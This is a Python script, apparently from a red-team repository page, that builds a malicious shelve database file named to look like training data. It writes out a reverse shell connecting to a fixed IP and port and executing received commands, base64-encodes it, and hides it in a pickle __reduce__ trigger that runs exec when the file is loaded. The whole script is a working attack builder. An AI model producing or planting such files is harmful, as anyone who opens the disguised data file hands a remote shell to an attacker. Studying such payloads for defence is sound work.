db-payload-chatbot / generate_data_db.py
Iredteam's picture
initial commit
c4f9767
raw
history blame contribute delete
865 Bytes
import shelve
import base64
import textwrap
# Step 1: Define your reverse shell payload
payload = textwrap.dedent("""
import socket
import subprocess
ip = "10.10.10.10"
p = 8080
s = socket.socket()
s.connect((ip, p))
while True:
c = s.recv(1024).decode()
if not c:
break
o = subprocess.getoutput(c)
s.sendall(o.encode())
""").strip()
# Step 2: Base64 encode the payload
encoded_payload = base64.b64encode(payload.encode()).decode()
# Step 3: Define the trigger class
class Trigger:
def __reduce__(self):
cmd = f"import base64; exec(base64.b64decode('{encoded_payload}').decode())"
return (exec, (cmd,))
# Step 4: Save to a .db file using shelve
with shelve.open("train_data_mod_obfuscated_fixed.db") as db:
db["malicious_key"] = Trigger()
print("✅ Shelve .db file created: train_data_mod_obfuscated_fixed.db")